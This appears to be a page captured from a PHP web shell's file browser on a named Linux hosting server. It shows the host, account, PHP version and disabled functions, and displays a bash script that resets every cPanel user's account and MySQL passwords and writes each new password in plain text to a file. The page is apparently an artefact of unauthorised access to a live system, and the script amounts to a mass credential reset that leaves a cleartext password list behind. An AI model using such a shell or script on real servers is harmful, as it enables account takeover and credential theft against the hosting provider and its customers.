HEX
Server: Apache
System: Linux mwt-uat001.smartserver247.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: spacei (1051)
PHP: 7.4.33
Disabled: passthru,shell_exec,system
Upload Files
File: //scripts1/change-all-cpanel-password.sh
#! /bin/bash
export ALLOW_PASSWORD_CHANGE=1
ls -1 /var/cpanel/users | while read user; do
pass=`</dev/urandom tr -dc A-Za-z0-9 | head -c16`
echo “$user $pass” >> new-passwords.txt
/scripts/realchpass $user $pass
/scripts/mysqlpasswd $user $pass
done

/scripts/ftpupdate